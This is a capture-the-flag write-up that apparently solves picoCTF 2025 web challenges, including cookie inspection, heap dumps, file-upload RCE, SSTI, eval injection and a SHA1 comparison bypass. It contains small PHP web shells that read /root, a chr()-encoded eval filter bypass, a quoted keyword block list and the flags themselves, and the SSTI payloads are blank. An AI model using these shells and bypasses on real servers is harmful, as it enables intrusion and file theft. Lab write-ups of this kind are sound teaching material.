Post

picoCTF 2025 - Solution

picoCTF 2025 - Solution

Description: Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?

According to the description and hints, this is a challenge about cookie. The website is simply a login form. View the cookies in this endpoint, there’s nothing. Try login with a random credential, view the cookies tab again and we obtain the flag.

Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}

heap-dump (Easy)

Description: Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag. The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden. Additional details will be available after launching your challenge instance.

Our purpose is to find an endpoint, which is maybe related to the API documentation or containing key word “heap-dump”.

image

There’s a hashtag called “API Documentation” (the underline one).

image

Notice at the “heap-dump” section. Try execute, then a “Download file” option existed. Download it, then use the grep command to obtain the flag:

cat .\heapdump-1752931022159.heapsnapshot | grep pico

Flag: picoCTF{Pat!3nt_15_Th3_K3y_f1179e46}

n0s4n1ty 1 (Easy)

Description: A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

This is a common vulnerability, about file uploading function leads to RCE. We need to create a php file containing a script.

First, the description give us that the flag located in the /root directory. Let’s try ls the /root.

1
2
3
<?php
    system("sudo ls /root");
?>

There’s file called flag.txt, which contains the flag for sure, existed. Let’s read the flag:

1
2
3
<?php
    system("sudo cat /root/flag.txt");
?>

Flag: picoCTF{wh47_c4n_u_d0_wPHP_f7424fc7}

SSTI1 (Easy)

Description: I made a cool website where you can announce whatever you want! Try it out!

This is a basic SSTI-related challenge. Try with the classic payload . The number `49` displayed. Then try, the result now is 7777777. So, we conclude that this website is using Python (maybe Jinja2).

Using the payload from Hacktricks: ``.

Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_3066c7bd}

SSTI2 (Medium)

Description: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem.

Maybe there’s input sanitization now. First, try with the payload from the previous challenge, there’s a message: “Stop trying to break me”. Maybe, the website now filters out special characters like .. Using the payload found on OnSecurity’s blog, used for the case that . or _ or both of them are blocked.

This payload works: ``.

Flag: picoCTF{sst1_f1lt3r_byp4ss_5b0b2f79}

3v@l (Medium)

Description: ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?

image

The website gives us a calculator. Let’s view the source:

1
2
3
4
5
6
7
<!--
    TODO
    ------------
    Secure python_flask eval execution by 
        1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
        2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->

There’s a comment section, containing important information: blocked words and regex. Looking at the regex, this formular is used to filter out malicious value like hex, unicode-encoded string, url-encoded string, file extension, directory and path traversal.

About eval() function in Python: The eval() function evaluates the specified expression, if the expression is a legal Python statement, it will be executed.

We can simply use this payload: open(/flag.txt).read(). But the website will filter out malicious things like /, .txt. So we need to encode them, by ASCII form of these characters or base64-encoding: open(chr(47) + "flag" + chr(46) + "txt").read().

Flag: picoCTF{D0nt_Use_Unsecure_f@nctions6798a2d8}

Apriti sesamo (Medium)

Description: I found a web app that claims to be impossible to hack!

Adding ~ to the end of the URL to view the backup file. We can see there’s a php code that obfuscated:

image

Deobfuscate the php code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if(isset($_POST[username])&& isset($_POST[pwd]))
    {$yuf85e0677=$_POST[username];
    $rs35c246d5=$_POST[pwd];
    if($yuf85e0677==$rs35c246d5)
    {
        echo "<br/>Failed! No flag for you;";
    }
    else
    {
        if(sha1($yuf85e0677)===sha1($rs35c246d5))
        {
            echo file_get_contents(../flag.txt);
        }
        else
        {
            echo "<br/>Failed! No flag for you;";
        }
    }
}
?>

From the script, the username must be different to the password, but both have the same SHA1. We only need to send 2 arrays, then SHA1 will return null with both parameters.

image

Flag: picoCTF{w3Ll_d3sErV3d_Ch4mp_76d46a4d}

WebSockFish (Medium)

Description: Can you win in a convincing manner against this chess bot? He won’t go easy on you!

This challenge gives us a website that we can play chess with Stockfish.

image

There’s a chessboard and a box to display the bot’s message after user’s move. Try intercept the request, I see that when I have a move, the browser will make a websocket request to the server with the content: eval ..., with ... is a number. Moreover, the server returns a message and then it will be displayed in the message box. Maybe this box will display the flag, so we can focus on it.

Let’s check the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function sendMessage(message) {
    ws.send(message);
}

// ...

stockfish.onmessage = function (event) {
    var message;
    // console.log(event.data);
    if (event.data.startsWith("bestmove")) {
        var bestMove = event.data.split(" ")[1];
        var srcSq = bestMove.slice(0, 2);
        var dstSq = bestMove.slice(2, 4);
        var promotion = bestMove.slice(4);

        game.move({ from: srcSq, to: dstSq, promotion: promotion });
        board.position(game.fen());
    } else if (event.data.startsWith(`info depth ${DEPTH}`)) {
        var splitString = event.data.split(" ");
        if (event.data.includes("mate")) {
            message = "mate " + parseInt(splitString[9]);
        } else {
            message = "eval " + parseInt(splitString[9]);
        }
        sendMessage(message);
    }
};

Maybe, the number attached with eval is the “intelligence” of the move, and the response of the bot is depended on this index. We can try change this number to be too large or small.

image

Flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_dc1dbff7}

This post is licensed under CC BY 4.0 by the author.

Trending Tags